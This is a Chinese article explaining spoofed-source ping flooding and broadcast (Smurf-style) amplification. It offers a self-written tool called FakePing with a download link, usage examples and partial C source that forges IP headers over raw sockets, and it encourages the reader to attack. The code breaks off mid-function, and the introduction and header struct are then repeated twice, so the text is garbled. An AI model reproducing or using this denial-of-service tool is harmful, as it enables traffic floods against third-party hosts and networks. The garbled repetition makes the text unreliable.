伪装IP地址的洪水Ping攻击
2012/3/8 12:53:00 人气 795 计算机网络论坛近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。 我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈) 正常情况下,Ping的流程是这样的: 主机A发送ICMP 8,0报文给主机B 主机B回送ICMp 0,0报文给主机A 因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去 回应主机C,结构如下: 伪装为主机C 错误的回复 主机A--------------------->主机B------------------>主机C 这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。 上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试。 说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量) 伪装为主机C 所有广播主机都会错误的回复 主机A--------------------->广播地址=========================>主机C 我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载。 使用方法是FakePing.exe FakeIP TargetIP *PacketSize*,如果TargetIP是广播地址,那么FakeIP是被攻击目标。 源码公布如下: typedef struct _iphdr //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IP_HEADER; // 定义ICMP首部 typedef struct _ihdr { BYTE i_type; //8位类型 BYTE i_code; //8位代码 USHORT i_cksum; //16位校验和 USHORT i_id; //识别号(一般用进程号作为识别号) USHORT i_seq; //报文序列号 ULONG timestamp; //时间戳 }ICMP_HEADER; //CheckSum:计算校验和的子函数 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } //FakePing主函数 int main(int argc, char **argv) { int datasize,ErrorCode,counter,flag; int TimeOut=2000, SendSEQ=0, PacketSize=32; char SendBuf*65535*={0}; WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; ICMP_HEADER icmp_header; char FakeSourceIp*20*,DestIp*20*; //接受命令行参数 if (argc<3) { printf(“FakePing by Shotgun “); printf(“ This program can do Ping-Flooding from a FakeIP “); printf(“ Using a BroadCast IP as the FakeIP will enhance the effect “); printf(“Email: “); printf(“ Shotgun@Xici.Net “); printf(“HomePage: “); printf(“ http://It.Xici.Net “); printf(“ http://www.Patching.Net “); printf(“USAGE: FakePing.exe FakeSourceIp DestinationIp *PacketSize* “); printf(“Example: “); printf(“ FakePing.exe 192.168.15.23 192.168.15.255 “); printf(“ FakePing.exe 192.168.15.23 192.168.15.200 6400 “); exit(0); } strcpy(FakeSourceIp,argv*1*); strcpy(DestIp,argv*2*); if (argc>3) PacketSize=atoi(argv*3*); if (PacketSize>60000) { printf(“Error! Packet size too big, must <60K “); exit(0); } printf(“Now Fake %s Ping %s using Packet size=%d bytes “, FakeSourceIp, DestIp, PacketSize); printf(“ Ctrl+C to Quit “); //初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) { fprintf(stderr,“WSAStartup failed: %d “,ErrorCode); ExitProcess(STATUS_FAILED); } if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) { fprintf(stderr,“WSASocket() failed: %d “,WSAGetLastError()); ExitProcess(STATUS_FAILED); } flag=TRUE; //设置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) printf(“Set IP_HDRINCL Error! “); __try { //设置发送超时 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if (ErrorCode==SOCKET_ERROR) { fprintf(stderr,“Failed to set send TimeOut: %d “,WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr)); DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节) ip_header.ident=1; //16位标识 ip_header.frag_and_flags=0; //3位标志位 ip_header.ttl=128; //8位生存时间 TTL
ip_header.proto=IPPROTO_ICMP; 近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。
我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈) 正常情况下,Ping的流程是这样的: 主机A发送ICMP 8,0报文给主机B 主机B回送ICMp 0,0报文给主机A 因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去 回应主机C,结构如下: 伪装为主机C 错误的回复 主机A--------------------->主机B------------------>主机C 这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。 上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试。 说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量) 伪装为主机C 所有广播主机都会错误的回复 主机A--------------------->广播地址=========================>主机C 我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载。 使用方法是FakePing.exe FakeIP TargetIP *PacketSize*,如果TargetIP是广播地址,那么FakeIP是被攻击目标。 源码公布如下: typedef struct _iphdr //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址
ip_header.proto=IPPROTO_ICMP; 近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。
我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈) 正常情况下,Ping的流程是这样的: 主机A发送ICMP 8,0报文给主机B 主机B回送ICMp 0,0报文给主机A 因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去 回应主机C,结构如下: 伪装为主机C 错误的回复 主机A--------------------->主机B------------------>主机C 这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。 上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试。 说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量) 伪装为主机C 所有广播主机都会错误的回复 主机A--------------------->广播地址=========================>主机C 我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载。 使用方法是FakePing.exe FakeIP TargetIP *PacketSize*,如果TargetIP是广播地址,那么FakeIP是被攻击目标。 源码公布如下: typedef struct _iphdr //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址
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